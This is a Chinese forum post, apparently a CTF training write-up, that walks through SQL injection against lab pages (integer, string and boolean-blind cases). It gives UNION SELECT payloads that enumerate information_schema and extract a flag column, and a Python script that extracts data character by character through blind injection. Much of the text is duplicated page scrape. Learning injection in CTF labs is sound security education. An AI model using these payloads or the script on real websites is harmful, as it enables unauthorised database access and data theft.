首页
社区
课程
招聘
问答 CTF 排行榜 知识库 工具下载 峰会 看雪商城 证书查询
  1. 社区
  2. WEB安全
    3. 发新帖
[30小时教你玩转CTF]2_13_sql_1100
发表于: 2023-8-16 05:31 5685

[30小时教你玩转CTF]2_13_sql_1100

Spider_008 活跃值
2023-8-16 05:31
5685

判断注入位点、判断select列数、查库名、查表名、查列名

当出现类似true,false回显表示布尔盲注，如下图查询有结果

查询无结果

and 1=1 表示查询有结果

当出现and 1=0为查询无结果

像这种情况，按照如下思路：

编写脚本

%s 表示字符串输入，%d表示整数输入,用i、j构造payload，通过查询库名，表名，列名，最后查询flag来逐步循环获取结果,sql语句和前两种注入基本一致，这里直接使用select,没有union select限制列数

import requests
url = "ea5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select database()),%s,1))=%d"
url = "c0dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d"
url = "466K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(coulmn_name) from information_schema.columns where table_name='answer'),%s,1))=%d"
url = "f61K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(flag) from answer),%s,1))=%d"
 
result = ""
 
for i in range(1,100):
    for j in range(33,127):
        payload = url % (i,j)
        resp = requests.get(payload)
        if "查询" in resp.text:
            result += chr(j) # ascii码 转为 字符
            print(result)
            break
 
 
print(result)
import requests
url = "ea5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select database()),%s,1))=%d"
url = "c0dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d"
url = "466K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(coulmn_name) from information_schema.columns where table_name='answer'),%s,1))=%d"
url = "f61K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(flag) from answer),%s,1))=%d"
 
result = ""
 
for i in range(1,100):
    for j in range(33,127):
        payload = url % (i,j)
        resp = requests.get(payload)
        if "查询" in resp.text:
            result += chr(j) # ascii码 转为 字符
            print(result)
            break
 
 
print(result)

判断注入位点、判断select列数、查库名、查表名、查列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "ea5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select database()),%s,1))=%d"
url = "c0dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d"
url = "466K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(coulmn_name) from information_schema.columns where table_name='answer'),%s,1))=%d"
url = "f61K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7$3j5U0t1&6z5r3c8V1i4K6u0V1j5K6m8U0k6q4)9J5k6o6b7%4x3e0m8Q4x3X3c8T1j5$3u0S2i4K6u0V1k6e0t1I4x3K6V1I4k6o6g2V1y4U0c8X3i4K6u0W2L8X3!0V1k6g2)9J5k6h3E0S2L8Y4S2#2k6g2)9J5k6h3y4G2L8g2)9K6b7e0R3I4i4K6u0r3x3#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3l9`.`. or ascii(substr((select group_concat(flag) from answer),%s,1))=%d"
 
result = ""
 
for i in range(1,100):
    for j in range(33,127):
        payload = url % (i,j)
        resp = requests.get(payload)
        if "查询" in resp.text:
            result += chr(j) # ascii码 转为 字符
            print(result)
            break
 
 
print(result)
  • 系统：MacOs 22.5.0
  • 工具：firefox、visualStudioCode
  • 有黑客在尝试拖库
  • SQL注入漏洞分析与实操讲解
  • 1.php整数型SQL注入训练、2.php字符型SQL注入训练、3.php盲注型SQL注入训练 这三个案例目的均为获取数据库中的数据,可以从以下5步获取结果

    判断注入位点、判断select列数、查库名、查表名、查列名

    1.php 整数型SQL

  • 判断注入位点
    使用and 1=1和 and 1=0页面是否一致判断是否存在注入位点
    and 1=1如下
    and 1=0 如下
    界面不一致，说明存在注入点
  • 判断select列数
    使用order by确认列数(按第几列排序)，根据反馈结果确认列数看到有三列,查数据库信息可以通过这三列获取
  • 查库名
    • 在sql中我们查询database语句为 select * from *** where id =1
      那么拼接后的语句可以写为?id=1 union select 1,2,database()
    • id=1 不显示数据
    • id=0正常显示
    • 说明使用id=0,可以保证把数据库位置让出来，让数据显示，需要判断哪些列在前端展示，最后查到库名为 ctf
  • 查表名
    • 通过information_schema查询元数据，获取表名，列名但不包含用户的数据表信息、要注意我们表有好多个，但是我们把多个表合并为一行显示需要用到函数 group_concat(table_name)
    • 拼接后的URL如下
    • ?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'
    • 查询到表名信息：answer,emails,referers,uagents,users
      • 根据经验判断哪个表最敏感：answer
  • 查列名
    • 通过information_schema.columns获取ctf库answer表的列名,还需要把多个列合并到一起 group_concat(column_name)
    • 查询列的URL如下
    • ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'
    • 获取列名为flag
  • 查结果
    • 根据 库（ctf）、表(answer)、列(flag) 查询出 结果
    • ?id=0 union select 1,2,flag from answer
  • 在sql中我们查询database语句为 select * from *** where id =1
    那么拼接后的语句可以写为?id=1 union select 1,2,database()
  • id=1 不显示数据
  • id=0正常显示
  • 说明使用id=0,可以保证把数据库位置让出来，让数据显示，需要判断哪些列在前端展示，最后查到库名为 ctf
  • 通过information_schema查询元数据，获取表名，列名但不包含用户的数据表信息、要注意我们表有好多个，但是我们把多个表合并为一行显示需要用到函数 group_concat(table_name)
  • 拼接后的URL如下
  • ?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'
  • 查询到表名信息：answer,emails,referers,uagents,users
    • 根据经验判断哪个表最敏感：answer
  • 根据经验判断哪个表最敏感：answer
  • 通过information_schema.columns获取ctf库answer表的列名,还需要把多个列合并到一起 group_concat(column_name)
  • 查询列的URL如下
  • ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'
  • 获取列名为flag
  • 根据 库（ctf）、表(answer)、列(flag) 查询出 结果
  • ?id=0 union select 1,2,flag from answer
  • 判断注入位点
    • and 1=1 和 and 1=0 发现界面一致,查看源码 使用''过略，前端输入所有数据后端全部使用''，使用’#方式过略
  • 判断select列数
    • 使用URL id=1’ order by 3#查询列数
  • 查库名
    • ?id=1‘ union select 1,2,database()#
  • 查表名
    • ?id=0’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
  • 查列名
    • ?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'#
  • 查结果
    • ?id=0’ union select 1,2,flag from answer#
  • and 1=1 和 and 1=0 发现界面一致,查看源码 使用''过略，前端输入所有数据后端全部使用''，使用’#方式过略
  • 使用URL id=1’ order by 3#查询列数
  • ?id=1‘ union select 1,2,database()#
  • ?id=0’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
  • ?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'#
  • ?id=0’ union select 1,2,flag from answer#

  • 当出现类似true,false回显表示布尔盲注，如下图查询有结果

  • 查询无结果

  • and 1=1 表示查询有结果

  • 当出现and 1=0为查询无结果

  • 像这种情况，按照如下思路：

    • 在没有效据回显的情况下，可以存在不同的页面内容回显
    • 通常逐个爆破猜解，效率偏低
    • 思路：利用回显的不同推测SQL语句执行的结果是True还是False
    • Payload: or select * from users where id='1' and (select length(database()))=1#

  • 编写脚本

    • 使用python写，有一些盲注常用函数
      • left(a,b)从左侧截取a的前b位：left(database(),1)>'s'
      • substr(a,b,c)从b位置开始，截取字符串a的c长度
      • mid(a,b,c)从位置b开始 ，截取字符串a的c位
      • ascii() 将某个字符转换为 ascii 值：ascii(substr(user),1,1))=101#
    • 围绕功能点
      • 判断注入位点
      • 判断select列数
      • 查库名
      • 查表名
      • 查列名
      • 结果
  • 在没有效据回显的情况下，可以存在不同的页面内容回显
  • 通常逐个爆破猜解，效率偏低
  • 思路：利用回显的不同推测SQL语句执行的结果是True还是False
  • Payload: or select * from users where id='1' and (select length(database()))=1#
  • 使用python写，有一些盲注常用函数
    • left(a,b)从左侧截取a的前b位：left(database(),1)>'s'
    • substr(a,b,c)从b位置开始，截取字符串a的c长度
    • mid(a,b,c)从位置b开始 ，截取字符串a的c位
    • ascii() 将某个字符转换为 ascii 值：ascii(substr(user),1,1))=101#
  • 围绕功能点
    • 判断注入位点
    • 判断select列数
    • 查库名
    • 查表名
    • 查列名
    • 结果
  • left(a,b)从左侧截取a的前b位：left(database(),1)>'s'
  • substr(a,b,c)从b位置开始，截取字符串a的c长度
  • mid(a,b,c)从位置b开始 ，截取字符串a的c位
  • ascii() 将某个字符转换为 ascii 值：ascii(substr(user),1,1))=101#
  • 判断注入位点
  • 判断select列数
  • 查库名
  • 查表名
  • 查列名
  • 结果
  • 猜解出字段数目
    • union 连接两个select，让两个语句同时执行，但需要左边的列数与右边的列数相等union select 才能正确执行
  • 猜测表名，字段名
  • 注入得到结果
  • union 连接两个select，让两个语句同时执行，但需要左边的列数与右边的列数相等union select 才能正确执行
  • union语句可以填充查询结果，并额外执行一次查询
  1. union select有回显，可以看到某些字段的回显结果
  2. union select操作过程
    • 猜解出字段数目
      • union 连接两个select，让两个语句同时执行，但需要左边的列数与右边的列数相等union select 才能正确执行
    • 猜测表名，字段名
    • 注入得到结果
  3. 最方便的注入方式
    • union语句可以填充查询结果，并额外执行一次查询
  4. 字符串SQL,使用’#方式过略
  • 系统：MacOs 22.5.0
  • 工具：firefox、visualStudioCode
  • 有黑客在尝试拖库
  • SQL注入漏洞分析与实操讲解
  • 1.php整数型SQL注入训练、2.php字符型SQL注入训练、3.php盲注型SQL注入训练 这三个案例目的均为获取数据库中的数据,可以从以下5步获取结果

    判断注入位点、判断select列数、查库名、查表名、查列名

    1.php 整数型SQL

  • 判断注入位点
    使用and 1=1和 and 1=0页面是否一致判断是否存在注入位点
    and 1=1如下
    and 1=0 如下
    界面不一致，说明存在注入点
  • 判断select列数
    使用order by确认列数(按第几列排序)，根据反馈结果确认列数看到有三列,查数据库信息可以通过这三列获取
  • 查库名
    • 在sql中我们查询database语句为 select * from *** where id =1
      那么拼接后的语句可以写为?id=1 union select 1,2,database()
    • id=1 不显示数据
    • id=0正常显示
    • 说明使用id=0,可以保证把数据库位置让出来，让数据显示，需要判断哪些列在前端展示，最后查到库名为 ctf

    • [培训]科锐逆向工程师培训第53期2025年7月8日开班！

    最后于 2023-9-9 23:38 被Spider_008编辑 ，原因：
    收藏
    免费 ・0
    支持
    分享
    最新回复 (1)
    秋狝
    雪    币： 5531
    活跃值： (31866)
    能力值： ( LV2，RANK：10 )
    在线值：
    发帖
    回帖
    粉丝
    私信
    2 楼
    感谢分享
    2023-8-16 09:13
    0
    游客
    登录 | 注册 方可回帖
    回帖 表情 雪币赚取及消费
    高级回复
    返回